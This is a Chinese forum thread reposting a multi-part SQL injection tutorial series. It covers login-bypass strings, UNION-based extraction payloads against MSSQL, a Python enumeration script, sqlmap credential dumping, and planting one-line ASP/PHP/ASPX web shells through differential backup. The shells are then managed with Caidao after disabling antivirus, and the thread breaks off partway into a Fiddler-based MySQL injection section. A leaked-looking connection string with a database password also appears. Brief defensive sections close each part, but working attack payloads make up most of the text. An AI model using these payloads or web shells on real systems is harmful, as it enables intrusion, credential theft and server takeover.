[数据库渗透&攻防] 从第一章到第四章
 
Notifications
Clear all

[数据库渗透&攻防] 从第一章到第四章  

  RSS

tai chi
(@taichi)
Reputable Member
Joined: 6 months ago
Posts: 298
23/07/2020 5:08 pm  

一.从数据库原理学习网络攻防及防止SQL注入

    一.Google搜索知识
    二.万能密码原理
    三.数据库解读SQL注入攻防原理
        1.数据库如何判断注入点
        2.数据库如何判断字段总数 order by
        3.数据库获取显示位 union
        4.数据库显示错误网页及对应数据 db_name
        5.数据库获取表名及列名,Python爬虫引入
        6.数据库获取登录表usr字段 id=object_id('usr')
        7.数据库返回用户名和密码 
        8.登录系统并获取WebShell
    四.防SQL注入措施及建议

 

一. Google搜索知识

Google提供了强大的搜索功能,可以获取精准的结果。如果访问不了,也可以通过百度获取相关内容,但是结果远没有谷歌精准,很多无关的广告及视频会返回给你。
方法如下:

intitle:eastmount
搜索网页标题包含eastmount字符的网页。

 

inurl:cbi
搜索包含特定字符cbi的URL。

intext:cbi
搜索网页正文内容包含特定字符cbi的网页。

filetype:ppt
搜索制定类型的文件,返回所有以ppt结尾的文件URL。

site
找到与指定网站有联系的URL。

常用示例:inurl:login.asp、inurl:asp?id=、inurl:login.asp intilte:贵州

 

 

二. 万能密码原理
万能密码通常是指开发人员在开发过程中使用超级管理员进行开发,开发完成后没有过滤掉这些常用的超级管理员;另一种是存在SQL漏洞管理员账号。下面分别进行讨论:

1.万能密码:用户名 admin、密码admin,用户名admin、密码123456

2.万能密码:用户名 'or'='or'、密码 'or'='or'
   原理解释:假设用户登录对应的语句为:
   select name, pwd from login where name='' and pwd='';
   如果用户名输入正确则直接登录,否则提示用户名或密码错误,使用万能密码后的SQL语句如下:
   select name, pwd from login where name=''or'='or'' and pwd=''or'='or'';
   核心代码,两个单引号匹配,即name='',然后or连接,单引号等于单引号('=')这是恒成立的,紧接着or连接两个单引号(''),同理密码pwd。这样or连接的('=')是恒成立的,故返回结果为真,导致直接登录。

3.万能密码:用户名 'or''='、密码'or''='
   原理解释:此时对应的SQL语句如下:
   select name, pwd from login where name=''or''='' and pwd=''or''='';

4.万能密码:用户名'or'='--、密码'or'='--
   原理解释:此时对应的SQL语句如下:
   select name, pwd from login where name=''or'='--' and pwd=''or'='--';

通过如 inurl:login.asp 等搜索技术找到一些列网站后台登录界面后,反复尝试这些万能密码进行登录。防范措施也比较简单:

1.开发人员开发完成后,过滤掉admin等常用账号或修改密码;
2.当用户第一次登录的时候,对简单的密码进行修改提示,防止暴力破解;
3.用户名或密码屏蔽掉单引号(')、等号(=)、注释(--)等特殊字符;
4.对尝试SQL注入的IP地址进行报警提示或日志记录。

 

三. 数据库解读SQL注入攻防原理
下面通过一个简单的例子从数据库原理知识解读SQL注入攻防原理,内容比较简单,但希望假设存在一个网址能正常显示内容:
http://xxxxx/show.asp?code=115
对应的后台SQL语句可能如下:
select .... from table where code='115' and xxxx;

 

1.数据库如何判断注入点

判断注入点的方法很多,比如show.asp?code=115' 加单引号,show.asp?code=115-1 减1,这里介绍一个经典的方法。
(1)  http://xxxxx/show.asp?code=11 5' and 1=1 --       (正常显示)
对应的SQL语句:
select .... from table where code='115' and 1=1 -- and xxxx;
单引号(')匹配code='115,然后and连接,1=1恒成立,注释(--)掉后面语句。

(2)  http://xxxxx/show.asp?code=11 5' and 1=2 --       (错误显示)
对应的SQL语句:
select .... from table where code='115' and 1=2 -- and xxxx;
单引号(')匹配code='115,然后and连接,1=2恒错误,注释(--)掉后面语句。

2.数据库如何判断字段总数 order by

(1)  http://xxxxx/show.asp?code=11 5' order by 1 --    (正常显示)
对应的SQL语句:
select .... from table where code='115' order by 1 -- and xxxx;
按照1个字段进行排序,正常显示表示该URL对应的SQL语句至少一个字段。

(2)  http://xxxxx/show.asp?code=11 5' order by 10 --  (正常显示)
对应的SQL语句:
select .... from table where code='115' order by 10 -- and xxxx;
依次按照字段增加网上进行排序,如果提示错误order by 11,则表示共10个字段。

(3)  http://xxxxx/show.asp?code=11 5' order by 11 --  (错误显示)
 

3.数据库获取显示位 union

在得到字段个数后,需要获取字段位置,则使用union或union all。其中union表示将两个select结果整体显示,并合并相同的结果,union all显示全部结果。例如:

 

(1)  http://xxxxx/show.asp?code=11 5' union all select null,...,null --  
正常显示,共10个null,表示通配符,如果9个null会报错,需对应10个字段。

(2)  http://xxxxx/show.asp?code=11 5' union all select 1,...,null --  
依次替换成数字,测试哪几个字段有结果,如果报错则替换回null。最终的结果为:
show.asp?code=115' union all select 1,null,3,null,null,6,7,8,9,10 --
对应的SQL语句为:
select .... from table where code='115' union all select 1,null,3,null,null,6,7,8,9,10 -- xxxx;

(3)  http://xxxxx/show.asp?code=- 1' union all select 1,...,null --  
然后将数字115替换成-1,一个不存在的界面,则会显示如下所示结果,可以看到附件显示对应的值7、8、9,再想办法将我们需要的结果在这里显示即可,这些数据都是从后台数据库中查询出来的。

 

4.数据库显示错误网页及对应数据 db_name

该网站使用的数据库为MSSQL,则一定特定的字段需要知道:
   host_name():连接数据库服务器的计算机名称
   @@version:获取数据库版本号
   db_name():数据库的库名称
   @@servername:当前数据库计算机的名称=host_name()

(1)  http://xxxxx/show.asp?code=- 1' union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --  
输出结果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server....
    附件3:ahykd_new
其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。

5.数据库获取表名及列名,Python爬虫引入

SQL Server自带系统对象表,当前数据库所有字段。
    sysobjects 表名
    syscolumns 列名
其中,name表示对象名(表名),id表示表编号,type表示对象类型,其值为U表示用户表,S表示系统表,C约束,PK主键等。
sysobjects 和 syscolumns 之间以id互相对应,一个表名在sysobjects得到id后可以在syscolumns找到它的列名。
重点知识:
a.查看所有表名语句
select name from sysobjects where type='U';
b.询表table1的所有字段名称
select name from syscolumns where id=object_id('table1');

(1)  http://xxxxx/show.asp?code=- 1' union all 
select 1,null,3,null,null,6,7,8,
(select top 1 name from sysobjects where type='U'),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:kc_jxjd
其中top 1 name用于输出1个字段(相当于MySQL使用limit 1),sysobjects中u为用户表,count(*)可以统计总共87个表。
问题:现在是获取1个表,那么如何获取其他表呢?

(2)  http://xxxxx/show.asp?code=- 1' union all 
select 1,null,3,null,null,6,7,8, (select top 1 name from
(select top 2 name from sysobjects where type='U' order by desc) a
order by 1 asc),10 --
通过子查询一个升序,一个降序获取第二个值,同理第三个top 3。
下面通过Python定义一个爬虫不断访问top n,获取所有的表名,代码如下:

# coding=utf-8
from selenium import webdriver
driver = webdriver.Firefox()

#查询表的名字
#(select top 1 name from (select top " + str(i) +" name from sysobjects where xtype='u' order by 1 asc)a order by 1 desc)
i = 1
while i<=87:
url = "http://...tztgxx.aspx?code=-115' union all select 1,null,1,null,null,6,host_name(),@@servername,(select top 1 name from (select top " + str(i) +" name from sysobjects where xtype='u' order by 1 asc)a order by 1 desc),10 --"
#print url
driver.get(url)
elem = driver.find_element_by_xpath("//form[@name='form1']/div[2]/table/tbody/tr[7]")
print elem.text
i = i + 1
分析输出的所有表名,可以发现usr为后台登录表。

6.数据库获取登录表usr字段 id=object_id('usr')

(1)  http://xxxxx/show.asp?code=- 1' union all 
select 1,null,3,null,null,6,7,8,
(select top 1 name from syscolmns where id=object_id('usr')),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:answer
其中top 1 name用于输出1个字段,表usr的一个列表。

(2) 核心SQL语句获取不同的列名:
(select top 1 name from (select top 3 name from syscolumns where id=object_id('usr') order by asc) a order by 1 desc)
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:dic_roll
同理,也可以借助Python获取所有字段,如果字段少,手工即可测试出来,count(*)返回字段个数。最后发现,用户名为usr_name,密码为passwd。

7.数据库返回用户名和密码 

(1)  http://xxxxx/show.asp?code=- 1' union all 
select 1,null,3,null,null,6,7,8,(select top 1 usr_name from usr),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:2016001
输出用户名2016001,在搜索密码。

(2)  http://xxxxx/show.asp?code=- 1' union all 
select 1,null,3,null,null,6,7,8,
(select passwd  from usr where usr_name='2016001'),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:123456
输出用户名2016001,密码123456,此时即可登录,通过Python可以获取所有值。

 

8.登录系统并获取WebShell

登录后台基本完成,下面将讲解如何进行SQL防御。
PS:<%eval request("Nana") %>

 

四. 防SQL注入措施及建议
上面通过数据库原理进行了详细的讲解,这种网站基本很少存在了,几乎为0,更多的网页都有相关的屏蔽的。比如:
1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;

2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;

3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误,如下图所示:

 

4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击。各方面都需要做到防御。

 

5.可以使用Javascript在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。

 

This topic was modified 2 months ago by tai chi

Quote
Topic Tags
tai chi
(@taichi)
Reputable Member
Joined: 6 months ago
Posts: 298
23/07/2020 5:09 pm  

一.SQLMAP介绍
        1.基础介绍
        2.安装过程
        3.漏洞检测
    二.SQLMAP基础用法
        1.获取所有数据库
        2.获取当前数据库
        3.获取数据库所有用户
        4.获取数据库当前用户
        5.获取数据库所有用户和密码
        6.获取数据库所有表
        7.获取数据库登录表所有字段
        8.获取数据库登录表用户名和密码
    三.总结
   

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入

强推文章:
渗透测试工具sqlmap基础教程 - zgyulongfei

 

一. SQLMAP介绍
1.基础介绍
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

SQLMAP是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。

2.安装过程
由于它是通过Python语言开发完成,需要安装Python环境,下面开始安装SQLMAP。
方法一:调用Pyhon命令pip install sqlmap安装

 

方法二:从Github中获取SQLMAP进行安装
下载地址: https://github.com/sqlmapproject/sqlmap  

3.漏洞检测
cd去到Python环境sqlmap文件夹下,运行命令:

python sqlmap.py -u "http://..../tztgxx.aspx?code=115"
运行结果如下图所示,-u表示网址url。

 

输出GET的四种注入类型,分别为:boolean-based blind、stacked queries、time-based blind、UNION query。这里你可能会发现和我们的第一篇文章手动讲解SQL注入类似,包括:AND 1327=1327、UNION ALL等。

 

输出结果:
(1) 操作系统:Windows 2000
(2) Web应用技术:ASP.NET,ASP.NET 2.0,  Microsoft IIS 5.0
(3) 数据库:Microsoft SQL Server 2000
下面通过一个实例进行讲解SQLMAP的基础用法。

 

二. SQLMAP基础用法
SQLMAP的基础用法和前面基础文章类似,都是通过漏洞和SQL语句获取相关信息,具体用法如下:

1.获取所有数据库
参数:--dbs
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs
运行结果如下图所示,获取9个数据库,其中--dbs参数表示databases。

 

2.获取当前数据库
参数:--current-db
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
运行结果如下图所示,获取9个数据库。其中--current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。 

 

输出结果:akykd_new
对应前文:
    http://xxxxx/show.asp?code=- 1' union all 
    select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --  
输出结果如下所示:
    附件3:ahykd_new
其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。

3.获取数据库所有用户
参数:--users
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users
运行结果如下图所示,获取2个用户库。

 

输出结果:两个用户
    (1)BUILTIN\\Adminstrators
    (2)sa

4.获取数据库当前用户
参数:--current-user
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user
运行结果如下图所示,获取当前数据库用户sa。

 

5.获取数据库所有用户和密码
参数:--passwords
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
运行结果如下图所示,获取数据库用户和密码。

 

输出结果:
database management system users password hashes:
[*] BUILTIN\\Administrators [1]:
    password hash: NULL
[*] sa [1]:
    password hash: 0x01006e27653a36bbc7907ec45a0060e0c5065ea5172f249faa73ba704d1440b4ec497e552b6c1c27a6a34b7f575b

6.获取数据库所有表
参数:-D ahykd_new --tables
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,--tables表示所有表。

 

通过人为猜解,知道登陆表位usr。
对应前文:
    http://xxxxx/show.asp?code=- 1' union all 
    select 1,null,3,null,null,6,7,8,
    (select top 1 name from sysobjects where type='U'),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:kc_jxjd
其中top 1 name用于输出1个字段,sysobjects中u为用户表。

7.获取数据库登录表所有字段
参数:-D ahykd_new -T usr --columns
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,--columns表示usr表所有列。

 

 

是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。
对应前文:
    http://xxxxx/show.asp?code=- 1' union all 
    select 1,null,3,null,null,6,7,8,
    (select top 1 name from syscolmns where id=object_id('usr')),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:answer
其中top 1 name用于输出1个字段,表usr的一个列表。

8.获取数据库登录表用户名和密码
参数:-D ahykd_new -T usr -C "usr_name,password" --dump  
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump 
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),--dump输出所有值。

 

如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
输出结果为空,报警告“the SQL query provided does not return any output”。

 

正常的输出结果例如下图所示,再通过md5解密即可。

 

 

三. 总结
真正的困难在于如何找到一个存在漏洞的网站,如何去防护。现在很多网站都应做好相关防御措施,手工SQL注入是没有反应的,但是找到漏洞后,再利用SQLMAP就能够找到相应的用户名和密码。
参考前文,个人理解的防御措施:

    1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;
    2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;
    3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;
    4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。
    5.可以使用JS在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。


ReplyQuote
tai chi
(@taichi)
Reputable Member
Joined: 6 months ago
Posts: 298
23/07/2020 5:10 pm  

一.数据库之差异备份
        1.差异备份
        2.手动上传
    二.Caidao基础用法
        1.文件管理
        2.数据库管理
        3.虚拟终端
    三.防御措施
        1.参数化查询
        2.基础防御措施
   
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法

推荐文章:
http://www.jianshu.com/p/f0797a485779
SQL参数化查询 - zyw_anquan

一. 数据库之差异备份
1.差异备份

数据备份主要分位完全备份、增量备份和差异备份。其中差异备份是指备份自上一次完全备份之后有变化的数据,在差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,即备份后不标记为已备份文件,不清除存档属性。

这里的整体流程是先备份日志,然后插入一句话Muma;再次备份时,数据库只会备份两次间隔中的差异,使得生成出来的文件尽可能小,故称为“差异备份”。

前面的文章获取了数据库的名称:
    http://xxxxx/show.asp?code=- 1' union all 
    select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --  
输出结果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server....
    附件3:ahykd_new
其中MSSQL数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。
同时获取了登录名、密码等,这里不再介绍,下面详细介绍差异备份。

(1) 修改数据库设置为恢复模式
    http://xxxxx/show.asp?code=- 1' 
    alter database ahykd_new set RECOVERY FULL --
完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上。

(2) 备份当前数据库日志到文件
    http://xxxxx/show.asp?code=- 1' 
    backup log ahykd_new to disk='C:\windows\temp\temp0720' with init --
备份数据库日志到服务器上,其中路径表示服务器的。
重点:路径不能太显眼,比如"C:\0720"这样。

(3) 建立一张表和一个字段
    http://xxxxx/show.asp?code=- 1' 
    create table tt(a text)--

(4) 往表中插入一句话Muma
    http://xxxxx/show.asp?code=- 1' 
    insert into tt(a) values('<%eval request("Shsh") %>') --
一句话Muma插入到数据库tt表的a字段中,执行接收自定义Shsh参数,类似于URL的Code参数,相当于是一个侧门,第二部分Caidao会使用到。

asp:
   <%execute(request("value"))%>
php:
   <?php @eval($_POST[value]);?>
aspx:
   <%eval(Request.Item["value"])%>
(5) 再次备份日志
    http://xxxxx/show.asp?code=- 1' 
    backup log ahykd_new to disk='e:\NewsReport\index0.asp' --
再次备份日志,备份路径为网站服务器路径,重点是如何获得这个路径呢?在网站注入时,报错提示通常会呈现相关文件路径。

(6) 删除表
    http://xxxxx/show.asp?code=- 1' 
    drop table tt --
此时,数据库差异备份的漏洞已经弄好,后面介绍Caidao利器。

 

2.手动上传
前面得到数据库登录的用户名和密码后,就可以手动登录,然后找到上传文件地方。
index0.asp文件代码为:<%eval request("Shsh") %>
然后利用Caidao利器可以进行拿站,问题是如何防御这些漏洞,请看第三部分内容。

 

二. Caidao基础用法
1.登录Caidao

首先关闭安全软件及实时防护,如下图所示。

 

Caidao软件据说是一个桂林退役士兵写的,真的很厉害。它是一款Webshell管理工具,支持各种语言,常见的包括ASP、ASPX、PHP、JSP、CFM等,后面希望自己也能深入研究攻防底层内容,打开Caidao如下图所示。

 

右键空白处,点击“添加”,在弹出界面填写相关内容。

 

重点:Caidao的用户名为上传的文件,即index_0.asp,注意路径;密码为一句话Muma中插入的参数Shsh,对应前文<%eval request("Shsh") %>,选择ASP网站类型,点击“添加按钮”。

如果漏洞被修复,Caidao也会有相应的提示,如下提示服务器错误。

 

下面介绍它强大的三个功能文件管理、数据库管理和虚拟终端,右键URL如下。

 

 

PS:由于前面网站的漏洞已经修复了,网站攻防重点是从漏洞中找到防御措施,但它也打乱了我前后文的关联,但也是我Web防御的初衷。下面有两张图片引用文章 Chopper详细剖析,推荐大家阅读,图侵立删。

2.文件管理

网站文件管理,显示服务器Webshell,远程访问服务显示wwwroot如下图所示。包括了常见的上传、下载、编辑、删除、复制重命名及改变文件时间戳等。

 

前面的差异备份,我们通过SQL语句在服务器E盘上传了一个index0.asp文件。
backup log ahykd_new to disk='e:\NewsReport\index0.asp
可以在文件管理找到该文件,并下载到本地(因原网已修复,写文前未截图),可以通过Notepad++打开,虽然乱码很多,但可以搜索看到 <%eval request("Shsh") %> 这句代码。同时,备份服务器该账户没有写入权限,只能查看网站的内容及代码等。

 

3.数据库管理

Caidao支持各种数据库,包括MYSQL、MSSQL、ORCALE、ACCESS等,数据库管理主要是内置的管理数据库模块,能够实现数据库的查询语句、显示表名、列名。

前提:需要知道数据库的配置信息,可以从两个方面获得。
(1) 前面两篇文章通过SQL语句已经查到了数据库配置信息,即:
     数据库 用户 密码
     回顾:第一篇 手工SQL注入方法

http://xxxxx/show.asp?code=- 1' union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --
输出结果如下所示:
附件1:AYD
附件2:Microsoft SQL Server....
附件3:ahykd_new
其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。
    回顾:第二篇 SQLMAP方法
    python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
    python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
    运行结果如下图所示,获取数据库用户和密码。

 

(2) 文件管理中可以找到config配置文件,E盘index0.asp中即有,下载如下。
<add key="ConnectionString"
value="Data Source=(local);DataBase=ahykd_new;User Id=sa;Password=xbs660818"/>
即:数据库ahykd_new,用户名sa,密码xbs660818。

Caidao中右键“数据库管理”,在弹出的界面设置数据库信息,点击“提交”。

显示数据库如下所示:

 

同时可以在顶端下拉菜单自定义SQL语句,点击“执行”获取所需信息。

4.虚拟终端

虚拟终端是模拟Windows下的CMD命令窗口,如果服务器是Linux就是shell窗口。如下图所示,常见命令:
    (1) whoami 查看当前用户的权限;
    (2) net user 查看当前计算机上的用户;
    (3) net localgroup administrators 查看当前计算机上管理员的用户;
    (4) ipconfig 查看计算机的网卡ip等信息,详细信息在后面加个 /all 查看;
    (5) dir 查看当前目录的文件,后加个路径可查看目标文件夹的文件 dir c: \;

 

更多的用法需要读者进一步取研究学习,包括原理知识。同时,难点是如何取找到漏洞、防御漏洞,SQL注入现在已经有很多好的防御措施了,第三部分接着介绍。

 

三. 防御措施
1.参数化查询

推荐阅读《SQL注入攻击与防御 第2版》作者:Justin Clarke。
PS:这部分参考网上,你可能也返现了这些列文字主要是攻击,防御是让它变白,后面几个月深入研究后会结合实际详细讲解,但还是推荐上面那本书。

参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值,这个方法目前已被视为最有效可预防SQL注入攻击 (SQL Injection) 的攻击手法的防御方式。

有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。

原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。

下面一段引用大神 何静媛 的博客,强推大家阅读她的博客。 
参数化查询就是我们写好需要的参数,然后直接给参数赋值,这就好比是一个sql的框架。sql查询的时候会进行参数分析,如果分析的结果是我们曾使用过这样的框架,那么sql会重用查询计划,否则会重新生成一个查询计划,当然此时的sql的语义肯定是发生了变化,这时我们就可以很好的防止注入的发生。例如:

 

如上的代码就是使用参数化的查询语句,尝试输入注入字符无结果。

在撰写 SQL 指令时,利用参数来代表需要填入的数值,例如:
    (1) Microsoft SQL Server
         Microsoft SQL Server 的参数格式是以 "@" 字符加上参数名称而成,SQL Server 亦支持匿名参数 "?"。
SELECT * FROM myTable WHERE myID = @myID
INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)
    (2) MySQL
         MySQL的参数格式是以 "?" 字符加上参数名称而成。
UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4
    (3) Oracle
         Oracle 的参数格式是以 ":" 字符加上参数名称而成。
UPDATE myTable SET c1 = :c1, c2 = :c2, c3 = :c3 WHERE c4 = :c4
    (4) PostgreSQL
         PostgreSQL 的参数格式是以 "$" 字符加上参数顺序号而成。
UPDATE myTable SET c1 = $1, c2 = $2, c3 = $3 WHERE c4 = $4

2.基础防御措施

参考前文,个人理解的防御措施:

    1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;
    2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;
    3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;
    4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。
    5.可以使用JS在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。


ReplyQuote
tai chi
(@taichi)
Reputable Member
Joined: 6 months ago
Posts: 298
23/07/2020 5:11 pm  

一.Fiddler神器基础用法&局部刷新问题
        1.什么是Fiddler
        2.Fiddler基础用法
        3.局部刷新问题
    二.Fiddler分析MySQL数据库
        1.Fiddler分析界面
        2.数据库如何判断字段总数 order by
        3.数据库获取显示位 union
        4.数据库显示应数据 database()
        5.数据库获取所有数据库名 information_schema
        5.数据库获取表名及列名 table_name
        6.数据库获取登录表字段 columns 
        7.数据库返回用户名和密码 
        8.登录系统
    三.数据库防御措施
 
   
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器

 

 

一. Fiddler神器基础用法&局部刷新问题
作者最早接触Fiddler,是身边一个大神,通过Fiddler+C#自制抓取Ipad游戏数据做外挂,让自己的人物总能捡到好装备,十分之崇拜,后悔没跟着他学习下。现在准备好好研究下它吧,希望文章也对你有所帮助。

首先作者简单介绍什么是Fiddler及基础功能,这里引用ohmygirl大神的文章部分内容。
    【HTTP】Fiddler(一) - Fiddler简介
该文章简单易懂,推荐大家阅读。

1.什么是Fiddler

Fiddler是位于客户端和服务器端的HTTP代理,也是目前最常用的http抓包工具之一 。 它能够记录客户端和服务器之间的所有 HTTP请求,可以针对特定的HTTP请求,分析请求数据、设置断点、调试web应用、修改请求的数据,甚至可以修改服务器返回的数据,功能非常强大,是web调试的利器。

 

Fiddler是用C#写出来的,它包含一个简单却功能强大的基于JScript .NET 事件脚本子系统,它的灵活性非常棒,可以支持众多的http调试任务,并且能够使用.net框架语言进行扩展。安装前需安装microsoft .net framework可执行文件。

2.Fiddler基础用法

运行主界面如下所示:

 

 

主界面中主要包括四个常用的块:
(1) Fiddler菜单栏
顶部为菜单栏,包括捕获http请求,停止捕获请求,保存http请求,载入本地session、设置捕获规则等功能。

(2) Fiddler工具栏
菜单栏下来是一行工具栏,包括Fiddler针对当前view的操作(暂停、清除session、decode模式、清除缓存等)。

(3) Web Session面板
左边部分位Web Session面板,主要是Fiddler抓取到的每条http请求(每一条称为一个session),主要包含了请求的url、协议、状态码、body等信息。其中常见状态码为:
    200--成功,服务器成功处理请求且响应已成功接收。
    301--请求的URL
    400--坏请求。当目的服务器接收到请求但不理解细节所以无法处理时发生。
    404--页面找不到。如果目标API已移动或已更新但未保留向后兼容性时发生。
    500--内部服务器错误。服务器端发生了某种致命错误,且错误并被服务提供商捕获。
详细的字段含义如下图所示:

 

(4) 详情和数据统计面板
右边部分位详情和数据统计针对每条http请求的具体统计(例如发送/接受字节数,发送/接收时间,还有粗略统计世界各地访问该服务器所花费的时间)和数据包分析。
其中最常用的是inspector面板,提供了headers、textview、hexview、Raw等多种方式查看单条http请求的请求报文的信息。

 

下面的实例主要应用的就是Inspectors面板下的Raw模块。

3.局部刷新问题

在网站开发过程中,局部刷新是常见又实用的功能,局部刷新通过可以调用iframe、ajax等技术实现。下面是我们团队设计的局部刷新界面。

 

再如下图一个局部刷新,点击左边的地图可以在右边显示位置,同时下面出现对应国家的基础信息,但是URL仍然为同一个。

 

如果通过手工注入或SQLMAP是没有反馈结果的,毕竟URL都没有变化。此时你准备怎么解决呢?脑袋是否都想疼了,感谢Na老师和ST老师推荐的Fiddler,下面将结合该工具进行简单叙述,普及它的基础用法。

 

二. Fiddler分析MySQL数据库
1.Fiddler分析界面

首先,打开Fiddler后在Web session面板按住Ctrl+A,选中所有界面后点击Delete删除。因为它是实时捕获信息的,先删除该页面。

 

接着在浏览器中输入网址: http://www.xxx.com/worldmap/index
1) Fiddler捕获请求
此时点击其中一个超链接,下面会返回相关信息,此时观察Fiddler,如下图所示,其原理是浏览器点击超链接发送一个请求,Fiddler截获其数据包,200表示成功访问,主机域名和对应URL即对应链接。

 

2) Inspectors Raw操作
此时点击Inspectors,右边上下都选择Raw界面,余下部分作者主要使用Inspectors界面的Raw进行操作。上面的Raw是你发出的请求,下面的Raw是你的回复。
点击右部的“Response body is encoded. Click to decode”按钮,其原理是网页传输都是压缩过的,然后你需要解压一下,查找网页的原信息。点击前后对比如下所示:

  

3) F12键实时捕获
此时可以在Fiddler中按F12键,它表示是否实时截获浏览器的数据。按F12后,只需要在Fiddler中操作我们所需界面即可,否则实时操作,请求很多。按F12后右底部显示该图表示实时截获。

 

点击左边Web Session面板的URL,右面显示其对应的请求信息。

4) URL分析
对应的URL为: http://www.xxx.com/worldmap/view/prefix/CN
反馈的信息为其对应的内容,说明数据库中有类似Area='CN'的语句。现在如果把AF换成AF--呢?首先我们需要解决,怎么在Fiddler中修改URL,并获取返回结果。

5) Raw下修改URL产生一个新请求
选中URL并点击键盘快捷键E,可以在Inspectors的Raw界面下修改URL;另一种方法是右键URL,然后选择Replay,Reissue and Edit。然后将URL修改成"CN--",点击"Run to Completion"按钮产生新的请求,Fiddler会监听浏览器的请求,如果URL访问错误则不会有响应结果,状态码为500等。

 

下面开始结合MySQL数据库知识进行讲解了。

2.数据库如何判断字段总数 order by

Inspectors页面Raw进行编辑URL
(1) GET  http://xxxxx/prefix/C N')+order+by+1# HTTP/1.1   (正常显示)
对应的MySQL语句:
select .... from table where area=('cn') order by 1 # and xxxx;
